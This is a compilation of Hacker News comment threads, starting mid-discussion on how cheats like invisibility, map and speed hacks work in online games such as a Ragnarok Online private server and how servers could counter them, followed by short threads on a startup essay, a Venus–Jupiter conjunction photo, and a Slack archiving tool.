Also, it wasn't clear from the article itself what game was being talked about. After clicking around the site, I realized this was about a "private server" for Ragnarok Online. In other words, a reverse engineered fan-made server. Though there appears to be an actual company behind it, just not Ragnarok Online's actual developer, I'm not quite clear on whether there's a business here. Either way, I was thinking of this in a completely different context.

Indeed writing it properly isn't free, that's part of why people pay money to play these games! But in this case, people are perhaps not paying any money.

I wonder if the official Ragnarok Online servers have this issue?

<comment><USER13> "Though there appears to be an actual company behind it, just not Ragnarok Online's actual developer, I'm not quite clear on whether there's a business here."

Thinking about costs and benefits isn't just for businesses, it's for every programmer. Things like opportunity costs are always present, even when money isn't.

<comment><USER12> My point was more that the benefits in this case are likely not as great as I had originally thought, not that individuals or amateurs shouldn't think about it. Same thing you're saying really.

</comment></comment></comment></comment></comment><comment><USER14> This is a problem in RTS games. In many of those games you can only see enemies close to your forces. But because the games work by simulating the same thing on every client, the position data of the enemy pretty much has to be sent to each other client, thus enabling see everything hacks.

You can avoid this by not sending the data, but that complicates the simulation a lot. You can also get a big latency hit when your forces quickly uncover lots of enemies, because then suddenly a lot of data has to be sent.

I don't know how the game of this post works, but I doubt that it uses the method RTS games use because there is far less going on that the player can see. So for their case it would be simple to modify the server so that it doesn't send position updates for invisible players, thus making it impossible to cheat that way, instead of requiring detection and threats by the game company.

</comment><comment><USER15> Looking forward to more...I would particular like to see coverage of how speed hacks and warping hacks work. I don't understand why those aren't easy to catch on the server without undo resource use.

For instance, when a player loads a new zone, why not do a simple check of where he was 30 seconds earlier? If he was not near any official portal, and did not use an official port spell or recall scroll or some such, then he must have used a warp cheat.

<comment><AUTHOR> I will definitely make a note about this, but the main reason for your question:

Data saving. How many locations at different times do you want to save? Do you save every second for the last 30 seconds? What is a comparable distance? On what events does the check trigger?

Even more of a concern: What _if_ your algorithm breaks for a border case and causes a disconnect or ban? How do you deal with the consequences? Even more important than catching cheaters, is to make sure everything flows smoothly.

For RO in particular, there is a random-teleport skill/item, which makes your description impossible. As for attack speed hacks... there's a lot of variations. One simple variation is a memory edit with T-Search, since attack speed restrictions are almost always client-side, due to computation tradeoff.

</comment></comment><comment><USER16>
       this is a fairly common hack exists in just about every game that incorporates invisibility

I think not.

</comment><comment><USER17> Another solution I've seen programmed for the invisibility hack is to fill the game space with characters who are 'invisible' unless you have the hack. (its a variation on authors solution). People who are cheating have their field of view swamped by all these non-characters sitting around.

<comment><USER18> That just requires interceptors to be maintain some more state than they already do.</comment></comment>


Drinking, Startups and Focus - <AUTHOR> https://medium.com/startup-wisdom/997cd79c9e45

<comment><USER2> Maybe I'm too thick. Can someone help connect the drinking to the startup lessons? Don't mix drinks == stay focused at your startup?</comment>


Astronomy Picture of the Day: Venus and Jupiter Are Close - <AUTHOR> http://apod.nasa.gov/apod/ap150702.html

<comment><USER2> The picture doesn't do it justice. In a telescope, at low-mid magnification, you could see both planets at once during the conjunction yesterday. The brightness difference was astounding, far greater than what any picture could show. Venus was almost annoyingly bright, this blazing white form with the brightness of a distant welding torch, whereas Jupiter was its usual mellow pale butter-yellow, like a paper lantern with a wax candle inside. Both had about the same apparent size, with Jupiter round as usual, while Venus had a very pronounced crescent.

It really shows their different distances to the Sun, and the very different amounts of illumination they receive.

<comment><AUTHOR> Thanks for detailed description!

Yeah, I observe in telescope Venus + Jupiter dance for a 3 weeks already.

Still beautiful show, even without telescope.

</comment></comment><comment><USER3> Here's how you can automatically set this and other APOD images as Twitter banner image daily [http://compixels.com/19350/automatically-change-twitter- head...](http://compixels.com/19350/automatically-change-twitter-header-image- daily-with-nasa-astronomy-picture-of-the-day)

</comment><comment><USER4> Venus appears to be the only thing keeping Mars and Jupiter from going to war.

Well, that and the asteroid belt.

</comment><comment><AUTHOR> The actual idea I want to bring here: [https://twitter.com/raymondh/status/616082619319476224](https://twitter.com/raymondh/status/616082619319476224)

> Earthlings, go outside tonight and look at the rare and spectacular > conjunction of Venus and Jupiter (about one-third of a degree apart).

Venus is the brightest object (after Moon and Sun) in the sky now. Just nearby is Jupiter (very bright too). You can observe this spectacular view all summer long.

More: [https://www.youtube.com/watch?v=_ppuCZR8Mkw](https://www.youtube.com/watch?v=_ppuCZR8Mkw)

[http://earthsky.org/tonight/watch-the-great-race-of-venus- an...](http://earthsky.org/tonight/watch-the-great-race-of-venus-and-jupiter- in-june-2015)

So you know now, what was that enormously bright star in the sky!</comment>


Ephemeral to Eternal – Slack archiver for open source orgs - <AUTHOR> https://github.com/shaunymca/ephemeraltoeternal <comment><USER2> Interesting, what would you say are the legal / TOS ramifications of a service like this?

<comment><AUTHOR> As far as I know, the APIs TOS are for 'apps' in slack, which this isn't. This app runs on top of a database that has messages. Getting message data into the database is not against the terms of service either.</comment></comment>